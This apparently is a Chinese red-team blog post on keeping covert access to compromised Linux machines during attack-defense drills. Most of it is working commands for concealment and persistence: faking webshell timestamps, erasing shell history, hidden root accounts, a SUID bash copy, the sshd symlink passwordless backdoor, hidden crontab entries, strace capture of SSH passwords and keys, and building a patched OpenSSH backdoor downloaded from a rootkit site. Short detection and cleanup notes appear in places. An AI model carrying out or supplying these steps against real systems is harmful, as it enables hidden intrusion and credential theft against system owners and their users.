0、前言
0.1、闲谈
- 在红蓝的对抗之中木马几乎一定会被发现,我们的目的就是尽可能的让发现的时间延迟,除了可以有比较骚的思路之外,更多的还是细节的问题。
- 在做红队的时候,平时对漏洞的研究建议深入。但是在对抗之中,工具一定要多,同一类洞至少要有2种以上的不同版本、不同人写的工具。
- 在拿下一台机器之后,建议先判断当前机器在什么环境内。比如一开始就拿到了一个办公网的,在横向去DMZ区域的话,难免有点南辕北辙。(毕竟办公网的机器更加靠近“核心”)
- 收集内网可以连接的跨网段信息,可以看看浏览器记录、SSH连接记录、还有进程记录(ps -ef)
- 还可以使用 traceroute + 域名/IP 看看从当前机器到目标机器都经过哪些机器,这些过程机器一般也可以连接。
- 当拿到一个机器之后,建议先扫一扫同C段的,同一个C段的流量一般不会经过交换机,即一般不会被态势感知所捕获。现在对于很多企业来说,纵向的防护已经不错了,但是横向的还是比较偏弱,只能通过edr防护,但是edr又比较难覆盖全面。
0.2、强制删除用户
对于Linux,删除用户的时候,有时候会报各种错误导致无法删除。
可以尝试以下方法:
切换到root用户,
执行命令 “ userdel -rf 想删除的用户名 ”
如“ userdel -rf test ”
之后在尝试“ su test ”,
返回“ No passwd entry for user 'test' ”则说明删除成功。
0.3、给某用户sudo
除此之外,假设想给某个用户sudo权限,直接命令:
sudo usermod -aG sudo test(对应的用户名)
0.4、查看哪些用户拥有root权限
命令如下:
grep 'x:0:' /etc/passwd
grep root /etc/group
1、隐藏后门技巧
1.1、修改文件属性
hvv中,很多蓝队首先会根据文件的修改时间来判断文件是否含有后门。
假设原本的文件大多时间都为20年,新上传的木马是22年的,肯定会被优先针对。
可以通过以下命令来复制文件的时间属性:
touch -r index.php shell.php
实验如下:
原本存在文件1.php 然后正常建立文件2.php
在复制1.php文件属性来建立3.php,效果还是很明显的。
touch命令⽤于修改⽂件或者⽬录的时间属性,包括存取时间和更改时间。
若⽂件不存在,系统会建⽴⼀个新的⽂件。
1.2、文件锁定
在Linux中,使⽤chattr命令来防⽌root和其他管理⽤户误删除和修改重要⽂件及⽬录,
此权限⽤ls -l是查看不出来的,从⽽达到隐藏权限的⽬的。
chattr +i evil.php #锁定⽂件
rm -rf evil.php #提示禁⽌删除
lsattr evil.php #属性查看
chattr -i evil.php #解除锁定
rm -rf evil.php #彻底删除⽂件
1.3、历史操作命令
在Linux之中,存在history,可以记录我们执行的命令。
在shell中执⾏的命令,不希望被记录在命令⾏历史中,如何开启⽆痕操作模式呢?
技巧⼀:只针对你的⼯作关闭历史记录
[space]set +o history
#备注:[space]表示空格。并且由于空格的缘故,该命令本身也不会被记录
注意的是:
上⾯的命令会临时禁⽤历史功能,这意味着在这命令之后你执⾏的所有操作都不会记录到历史中,
然⽽这个命令之前的所有东⻄都会原样记录在历史列表中。
经过上述操作,反而“ 此地无银三百两 ”,别急接着来补救。
使用命令“ history -d 编号 ”
再次使用命令“[space]set -o history”恢复命令的记录。
技巧二:删除指定/批量历史记录
有时候我们想要看看,历史有没有一些敏感的命令,可以使用以下命令来筛选
history | grep "关键词"
删除指定命令,上边已经说过,
history -d 编号
但是这种删除还是比较费事,可以选择批量删除,
比如只保留前2⾏,注意该命令经过测试仅root用户可以操作,且修改的是root用户的历史记录
sed -i '2,$d' .bash_history 、、这个是在/root目录下
对于非root用户可以试试以下命令,笔者在测试的时候发现自己的非root用户下该文件内容为空。
sed -i '2,$d' /home/当前用户/.bash_history
2、添加用户
2.1、/etc/passwd写入用户
/etc/passwd各部分含义:
⽤户名:密码:⽤户ID:组ID:身份描述:⽤户的家⽬录:⽤户登录后所使⽤的SHELL
/etc/shadow各部分含义:
⽤户名:密码的MD5加密值:⾃系统使⽤以来⼝令被修改的天数:⼝令的最⼩修改间隔:⼝令更改的周期:
⼝令失效的天数:⼝令失效以后帐号会被锁定多少天:⽤户帐号到期时间:保留字段尚未使⽤
通过修改/etc/passwd添加用户的具体操作参考:
https://blog.csdn.net/weixin_43970718/article/details/117446065
、、其中的 “ 4.1.8 ”
⼀些系统中,存放着加密后的⽤户⼝令字。虽然这个字段存放的只是⽤户⼝令的加密串,不是明⽂,
但是由于/etc/passwd⽂件对所有⽤户都可读,所以这仍是⼀个安全隐患。
因此,现在许多Linux系统(如SVR4)都使⽤了shadow技术,
把真正的加密后的⽤户⼝令字存放到/etc/shadow⽂件中,
⽽在/etc/passwd⽂件的⼝令字段中只存放⼀个特殊的字符,例如“x”或者“*”。
另外注意的是:
-
这种通过直接修改passwd仅仅适用于低版本的Linux。
高版本的是无法这么操作的,但是实战之中仍然建议试试,万一成功了呢。
-
低版本的passwd也可以存在*或者x,仍然可以尝试通过修改passwd来添加账户。
这里在进行补充一些知识:
nologin用户、UID
在Linux中一般我们安装了一些新的服务后,都会新建一个用户,
这些用户不能用SSH来登录,但是可以使用系统资源。
比如我们安装了一个MySQL,就会出现mysql用户(服务账户),
但是这个用户不能登录,当然我们可以也可以启用这些账户。
Unix/Linux系统下的nobody用户与nologin详细介绍:
https://www.yisu.com/zixun/156143.html
启用nologin用户:
https://cloud.tencent.com/developer/article/1663326
=========手动分割----------------------------
UID=0是最高权限的用户,有时候不能被远程登录,可以创建一个普通用户。
正常可以通过 “id” 来查看当前的用户的UID,
了解了上述,我们就可以根据不同的情况来增加系统的账户了。
2.1.1 存在交互的shell且允许uid=0的⽤户远程登录
假设低版本的话直接参考 下边链接的“ 4.1.8 ”
https://blog.csdn.net/weixin_43970718/article/details/117446065
假设是高版本的话,先修改/etc/passwd的内容,在设置对应账户的密码
echo "cshm:x:0:0::/:/bin/sh" >> /etc/passwd
#增加超级⽤户账号
passwd cshm
#修改cshm的密码
2.1.2 存在交互的shell不允许uid=0的⽤户远程登录(高版本)
这个时候我们就可以创建一个普通的用户,先修改/etc/passwd的内容,在设置对应账户的密码
echo "xbb:x:1000:1000::/:/bin/sh" >> /etc/passwd
#增加普通⽤户账号
passwd xbb
#修改wxg的密码为xbb123456
如何设置不允许root账户远程登录,可以参考:
https://www.cnblogs.com/binblogs/p/5201307.html
2.1.3 没交互shell⽆回显添加Linux账户密码
- 可以设置简单的密码
useradd wxg -u 0 -o -g root -G root|| echo "123456" | passwd --stdin wxg
#创建账户wxg、密码123456且为root权限
注意,上述命令需要执行2次
在Ubuntu的一些版本中没有–-stdin,使用上述命令该密码会报错,可以使用下边这条语句:
也得执行两次。且需要root用户执行,sudo执行也会失败。
sudo useradd wxg -u 0 -o -g root -G root || echo wxg:123456 | chpasswd
#创建账户wxg、密码123456且为root权限
- 新增一个低权限用户(这种权限较小)
useradd test
echo "123456" | passwd --stdin test
、、在Ubuntu的一些版本中没有–-stdin,使用上述命令该密码会报错,可以使用下边这条语句:
echo test:123456 | chpasswd
- 设置复杂密码的高权限用户
useradd -u 0 -o -g root -G root user |echo -e "1qazwsx2wsx\n1qazwsx2wsx"|passwd user
、、该命令也得执行2次。且需要root用户执行,sudo执行也会失败。
、、该命令创建用户名称为“ user ”密码为“ 1qazwsx2wsx ”
3、SUID
当⼀个⽂件所属主的x标志位s(set uid简称suid)时,且所属主为root时,
当执⾏该⽂件时,其实是以root身份执⾏的。必要条件:
1、SUID权限仅对⼆进制程序有效。
2、执⾏者(当前用户)对于该程序需要具有x(可执⾏)权限
3、本权限(suid权限)仅在执⾏该程序的过程中有效
4、在执⾏过程中执⾏者将具有该程序拥有者的权限
实验:
使用root用户执行以下命令,来模拟正常用户不小心造成的漏洞利用环境
cp /bin/bash /tmp/.woot
chmod 4755 /tmp/.woot 、、这个权限主要是前边的“4”,后边的也可以设置为“ 777 ”
ls -al /tmp/.woot 、、这个名字加个“.”起到隐藏的作用,可以设置为其他的
此时可以看到该文件前边带“ s ”,且整个文件存在“ 红底 ”。
此时在使用root用户创建一个普通用户,
useradd test
su test
然后直接执行,
/tmp/.woot
这里似乎是翻车了。再次补充一些知识:
/bin/bash针对suid有⼀些护卫的措施,使⽤-p参数来获取⼀个root shell
我们在试试
/tmp/.woot -p
实战之中快速查找具有suid权限的⽂件:
find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null
4、公私钥
4.1、利用过程
在攻击机器上执行命令“ sudo ssh-keygen -t rsa ”,然后一路回车。
生成两个文件,
/root/.ssh/id_rsa 、、私钥
/root/.ssh/id_rsa.pub 、、公钥
接着执行下边这个语句,输入目标机器root的账户密码。
“ ssh-copy-id -i id_rsa.pub 远程服务器IP ”
、、具体如下图,这容易出问题(没问题最好),下边有解释
在之后直接输入“ ssh 目标机器的IP ”即可直接连接。
4.2、解决root用户不能远程登陆的问题
在操作将公钥复制到目标机器提示输出root密码的时候,输入正确的密码仍然提示不对。
出现这种问题,首先可以试试正常的能不能使用root远程登录。
直接 “ ssh root@xx.xx.xx.xx ”然后输入正确的密码也不能登录的话,就可以按照下边的先修改。
sudo vim /etc/ssh/sshd_config
按一下“ esc ”在“:”后输入“ set nu ”调出文件的行数,
找到PermitRootLogin,将后边的prohibit-password改为“ yes ”;同时将最前边的“ # ”给去掉。
、、大约在33行。
修改完毕之后,保存退出,
执行命令“ sudo service ssh restart ”,来重启 ssh 服务。
然后再次执行命令“ ssh root@xx.xx.xx.xx ”即可连接。
4.3、应急公私钥后门
对于防守方的同学来说,也比较好解决。直接删除“ /root/.ssh/authorized_keys ”文件即可。
rm -rf /root/.ssh/authorized_keys
注意的是,假设当前机器已经被同步了公钥的话,
在将“ /etc/ssh/sshd_config ”文件的33行添加注释也不能阻止对方使用私钥连接。
5、软连接
5.0、利用前提
ssh配置中开启了PAM进行身份验证
查看是否使用PAM进行身份验证:cat /etc/ssh/sshd_config|grep UsePAM
、、 返回 “ UsePAM yes ” 则说明开启了PAM进行身份验证
、、这个PAM是默认开启的
root用户要可以远程登陆
参考 ” 4.2 “节的内容
云环境的机器很多端口都是默认被拦截的,不能对外开放,
具体解决办法,见 “ 5.1、直接利用 ”的“ 问题一 ".
5.1、直接利用
受害者机器直接执行以下命令(当前权限为root):
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=25566
、、这个端口是任意的,其格式为:
ln -sf /usr/sbin/sshd /路径名/su; /路径名/su -oPort=端口号
然后在攻击机器直接执行:
ssh root@x.x.x.x -p 25566
密码任意输入,即可直接登陆。
问题一:
有的同学在目标机器添加完软连接,使用攻击机器登陆会出现“ SSH链接超时的情况 ”
这种一般去看看系统有没有开启防火墙,开启的话直接关闭。
第二个云服务器的话,看看是不是做了入口限制。笔者在做对应实验的时候就是这种情况。
5.2、简述原理
5.2.1、pam_rootok.so模块
凡是有“pam_rootok.so模块”的程序,root用户(uid=0)都可以无需密码认证直接使用。
比如“ su ”程序,
root用户使用该程序是无需任何密码认证;别的用户使用都需要密码验证成功后在使用。
除了“ su ”程序,在文件夹“ /etc/pam.d ”下还有别的程序,可以使用命令以下命令进行筛选,
、、这有一个问题,为什么筛选“ /etc/pam.d ”文件夹下的,而不筛选其他的,下边在解释。
find /etc/pam.d|xargs grep "pam_rootok"
得到这些程序也使用了“pam_rootok.so”模块; 、、root用户都可以免密使用。
、、注意:这些文件不同的系统可能会有略微的差别
/etc/pam.d/chsh
/etc/pam.d/chfn
/etc/pam.d/su
/etc/pam.d/runuser
可以看看/etc/pam.d/su文件内包含配置“ auth sufficient pam_rootok.so ”
5.2.2、PAM认证机制
以下内容为笔者理解,如有问题,欢迎各位大佬补充。
若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,
PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。
、、这也是为什么上边我们在文件夹“ /etc/pam.d ”下搜索含有“pam_rootok.so模块”的程序。
这里做一个假设:
假设ssh服务的配置文件是“ /etc/pam.d ”下含有“pam_rootok.so模块”的程序时。
我们使用root用户就可以进行“免密”行为。即直接连接上SSH。
现在我们的目的就是:
如何让ssh服务的配置文件去加载“ /etc/pam.d ”下含有“pam_rootok.so模块”的程序
因为这样,我们使用root用户进行ssh认证的话,就不用密码了。
在看看建立的软连接后门与SSH链接命令:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=1234
ssh root@x.x.x.x -p 1234
即我们使用1234端口进行ssh链接,应该在链接的时候就会去找配置文件,
因为我们的软连接是“ /tmp/su ”,则加载的配置文件就是“ /etc/pam.d/su ”
、、这一步的具体原因不详
而这个“ /etc/pam.d/su ”是有“pam_rootok.so模块”的程序,即root用户可以免密使用。
最终达到上边的假设,实现无密登陆。
5.2.3、小结:
一些程序含有特殊的属性,导致root用户使用不需要密码。
SSH登陆的时候,配置文件去加载上述这些特殊的程序。
即使用root用户登陆SSH无需密码。
5.3、别的利用方式
5.3.1、root用户修改软连接名字
了解原理之后,我们就可以稍微进行变通的去使用“ ssh软连接后门 ”
我们上边的利用语句为:
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=25566
我们通过“ find /etc/pam.d|xargs grep "pam_rootok" ”得知还有很多程序可以使用,
、、注意:这些文件不同的系统可能会有略微的差别
/etc/pam.d/chsh
/etc/pam.d/chfn
/etc/pam.d/su
/etc/pam.d/runuser
我们也可以改为:
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=25566
然后攻击机器直接,
ssh root@x.x.x.x -p 25566
这里的格式就变为:
ln -sf /usr/sbin/sshd /路径名/特殊程序; /路径名/特殊程序 -oPort=端口号
5.3.2、没有root权限的非root用户 (任意普通用户)
系统存在一个用户如xbb,只要是xbb可以通过SSH链接就行。
接着使用root用户创建软连接后门,这个必须是root用户:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=25566
、、格式就参考“ 5.3.1 ”就行,这是其中一种。
这里正常是使用root用户就行链接:
ssh root@x.x.x.x -p 25566
、、密码任意
其实这里使用xbb登陆也行,直接:
ssh xbb@x.x.x.x -p 25566
、、密码任意
原理:
这个“ 软连接 ”的进程是root用户创建的,
所有其他的用户使用ssh登陆,都会被当做root用户去访问,
即别的用户也实现了免密登陆。
5.3.3、拥有root权限的非root用户 (这个笔者没有测试)
前提:
- 系统存在xbb用户
- xbb用户拥有root权限
使用这个用户创建一个拥有“ pam_rootok.so模块 ”的程序:
echo "
#%PAM-1.0
auth sufficient pam_rootok.so
auth include system-auth
account include system-auth
password include system-auth
session include system-auth " >> /etc/pam.d/xbb
然后创建软连接后门:
ln -sf /usr/sbin/sshd /tmp/xbb;/tmp/xbb -oPort=25566
-
高Linux版本
仅仅可以使用“
ssh xbb@x.x.x.x -p 25566
”进行链接 -
低Linux版本
可以使用任意可以SSH登陆的用户“
ssh 任意用户@x.x.x.x -p 25566
”进行链接
5.4、应急软连接后门
5.4.1、寻找拥有“ pam_rootok.so ”模块的程序
- 先使用“
find /etc/pam.d|xargs grep "pam_rootok"
”看看哪些程序可以使用
比如找到以下程序,先保存。
su
chfn
chsh
xbb
5.4.2、寻找异常端口
命令:netstat -anpt
比如找到:
这个进程号“ 7702 ”要保存一下。
使用命令ll /proc/7702
查看PID 7702所使用的程序,确认为ssh
5.4.3、确定软链接后门文件
命令“find -name su
”寻找,比如找到下边两个位置:
/usr/share/bash-completion/completions/su
/usr/local/su
然后使用命令“ll /usr/local/su
”看看是不是ssh的软连接,
紫色箭头的都不是,红色箭头的就是,还是很明显的。
5.4.4、删除软链接后门
确认了软连接后门,直接“rm -rf /usr/local/su
”。
这里切记不要在“ su ”后边加“ / ”不然就把ssh也删除了。
最后别忘了停止对应的进程,
kill -9 7702
进程不结束仅仅删除文件是没用的。
另外别忘了以类似的方式看看进程“ 7848 ”
这部分赖得自己截图,部分内容直接参考前辈文章:
https://blog.csdn.net/weixin_40412037/article/details/117447832
5.4.5、一些有意思的补充
在找后门的这,最初的想法是。我们直接去找文件“ /usr/sbin/sshd ”有哪些软连接不就好了
然后经过实际的查找发现正常情况下,除了报错之外还有近50个对应的软连接。。。
命令:
find -type l -exec ls -l {} \;| grep '/usr/sbin/sshd'
如图是部分:
6、Crontab(计划任务)(重要)
6.1、原理
在Linux系统中,计划任务⼀般是由cron承担,我们可以把cron设置为开机时⾃动启动。
cron启动后,它会读取它的所有配置⽂件
(全局性配置⽂件/etc/crontab,以及每个⽤户的计划任务配置⽂件),
然后cron会根据命令和执⾏时间来按时来调⽤⼯作任务。
crontab命令用于定期执行某些设定好的任务,
crond命令每分钟都会定期检查是否有要执行的任务,如果有便会自动执行该任务。
若创建新的cron任务,并不会马上执行,一般过2分钟后才能够执行,或者可以重启cron马上执行。
crontab -l命令用于查看定时任务,实际是查看/var/spool/cron/crontabs/root文件
crontab -l的本质 == cat /var/spool/cron/crontabs/当前用户名称
(每个用户都会生成一个与自己同名的crontab文件位于/var/spool/cron/crontabs/中),
这样的话,我们就可以利用一下cat的⼀个缺陷,可以达到输入“ crontab -l ”显示没有计划任务的样子。
而事实上,计划任务仍然是新建完毕的。即“建立隐藏后门的文件”。
cron表达式在线⽣成: http://qqe2.com/cron
6.2、cat命令的小缺陷
cat其实默认使⽤是⽀持⼀些⽐如
\r回⻋符
\n换⾏符
\f换⻚符、
也就是这些符号导致的能够隐藏命令。
6.3、利用
-
新建一个后门文件: 、、当前路径为:/etc/aa
如“ vim bb.sh ”内容直接写以下语句: whoami >> /etc/aa/cc.txt \\真实环境可以是反弹shell的语句 \\这里注意,最好写脚本执行的绝对路径
-
给后门文件加执行权限
" chmod 777 "
-
添加计划任务
(crontab -l;printf "*/1 * * * * /etc/aa/bb.sh;\rno crontab for `whoami`%100c\n")|crontab - 该计划任务会每隔一分钟执行一次。
-
接着模拟正常用户来看看有没有计划任务
sudo cat /var/spool/cron/crontabs/用户名 或者是 crontab -l
都是无法看到真正的计划任务,红箭头就是隐藏的计划任务。
-
最后可以重启crond服务,使得马上生效
service crond restart 实际测试,Ubuntu是不需要此操作。
-
最后,看看成果:
6.4、排查
-
查看完整的计划文件内容任务
sudo cat /var/spool/cron/crontabs/用户名 -A 或者是 crontab -e //按 ctrl + x;选择“no”退出
-
排查内容
打开之后,在看看是不是有一些异常计划任务,特别是“
no crontab for 用户名
”这种。
-
删除对应的计划任务和对应的脚本文件。
~删除 “ /var/spool/cron/crontabs/用户名 ”的对应内容 ~删除 对应的执行脚本。
7、strace
7.1、原理
strace是⼀个动态跟踪⼯具,它可以跟踪系统调⽤的执⾏。我们可以把他当成⼀个键盘记录的后⻔,
来扩⼤我们的信息收集范围,
通过其他⽅式拿到shell,通过history、流量抓包、或者本地没有翻到密码的情况。
我们想要获取当前主机的密码,或者通过这台主机连接到其他主机的密码。
7.2、实例
这里以” 记录sshd进程明⽂密码 “为例。
另外,经过笔者测试。以下内容使用root用户执行可以,使用别的用户不生效
。
- 拿到root权限,但是不知道具体账户的密码,直接执行命令:
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.xbb.txt &)
、、这个将明文密码保存到文件“ /tmp/.xbb.txt ”,位置和名字都是任意的。
-
模拟用户在别处使用SSH登陆该机器,
-
使用命令查看被记录的SSH登陆密码:“ grep -E ‘read(6, “.+\0\0\0\.+”’ /tmp/.xbb.txt ”
这里注意的是,我们这不仅仅会记录正确的密码,错误的密码也会被记录
。
7.3、清理
对于这种记录键盘的情况,“ strace ”进程一定会存在。
正常直接执行命令“ ps -ef | grep strace ”,查看对应的pid。
然后直接“kill 1595
”干掉该进程即可,之后在使用SSH登陆都不会被记录。
这里有一个问题是,在这之前我们记录的文件“ /tmp/.xbb.txt ”依旧存在。
且因为保存的路径和名称都是任意的,所以几乎无解,先去把SSH登陆用户的密码都修改了
。
、、如果有大佬知道欢迎补充。
这最开始的思路是使用命令“ps -ef”,因为该命令看到进行的时候,也会保留创建此进程的命令
但是,从上图我们的筛选结果来看,刚刚好不显示路径~~~
7.4、其他
以下部分,笔者未实操,作为知识点补充吧。
7.4.1、记录sshd私钥
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
当⽤户通过私钥登录时,使⽤如下命令查看记录的私钥
grep 'PRIVATE KEY' /tmp/.sshd.log
7.4.2、修改alias文件记录ssh
我们还可以记录本机执⾏ssh、su等命令,这⾥以ssh为例修改alias
#添加命令
vi ~/.bashrc 或者 /etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
#⽴即⽣效
source ~/.bashrc
#读取密码
执⾏以下命令,会在/tmp/⽬录下多个log,然后读取log中记录的密码
ssh 10.xx.xx.148 -l mysql
7.4.3、修改alias文件记录sudo、su
记录sudo、su的alias
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
8、openssh后⻔(危险)
8.1、一些要点
利用openssh后门,设置SSH后门密码及root密码记录位置,隐蔽性较强,不易被发现。
但是这种方法相对来说,造成的“ 动静 ”很大。
在测试环境中,非root用户是失败的。
最后,该方式有可能会造成机器SSH无法登陆,谨慎!谨慎!
8.2、具体步骤
备份SSH配置文件
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
下载SSH配置文件:
可以使用wget下载到目标机器、或使用马上传。
官方安装包:openssh-5.9p1.tar.gz
https://mirrors.aliyun.com/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
后门安装包:5.9p1.patch.tar.gz
http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
解压:
tar zxvf openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.patch.tar.gz
复制patch后⻔⽂件到正常openssh⾥⾯:
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
在openssh-5.9p1中执行:
patch < sshbd5.9p1.diff
修改后门密码and文件记录: 、、在openssh-5.9p内
vim includes.h
、、下边的179行,远程后门的远程连接密码可以设置为任意自己喜欢的。
修改SSH版本信息一致,使其不易被发现。
查看当前系统的SSH系统版本,命令如下:
ssh -V
得到:OpenSSH_7.6p1 Ubuntu-4ubuntu0.5, OpenSSL 1.0.2n 7 Dec 2017
在修改" /openssh-5.9p1/version.h "
vim version.h
编译安装
首先对ssh里面的几个key的权限进行修改,否则可能进行编译的时候key不能修改而报错。
cd /etc/ssh
chmod 620 moduli
chmod 600 /etc/ssh/ssh_host_ed25519_key
chmod 600 /etc/ssh/ssh_host_ecdsa_key
chmod 600 /etc/ssh/ssh_host_rsa_key
chmod 600 /etc/ssh/ssh_host_ed25519_key
安装环境编译运⾏,在“ openssh-5.9p1 ”文件夹之中。
CentOs 7:
yum install -y openssl openssl-devel pam-devel zlib zlib-devel
./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
make clean
make && make install
systemctl restart sshd.service
Ubuntu 16.04:
apt-get install -y openssl libssl-dev libpam0g-dev
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam
make clean
make && make install
/etc/init.d/ssh restart
后续有一些错误,在处理错误的时候,笔者将测试的环境搞崩了(无法通过SSH登录了)。
再次提醒,该方法成功后很难被发现,但是也有可能把目标机器搞崩。
且行且珍惜!
后续有时间在测试吧,具体的可以参考一些前辈的文章:
参考:
https://www.codeleading.com/article/43835892676/
http://hone.cool/2018/03/22/OpenSSH%E5%90%8E%E9%97%A8%E7%9A%84%E5%AE%89%E8%A3%85/
https://www.jianshu.com/p/c1cd73b072f1
https://bypass007.github.io/Emergency-Response-Notes/privilege/%E7%AC%AC4%E7%AF%87%EF%BC%9ALinux%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81--%E5%90%8E%E9%97%A8%E7%AF%87.html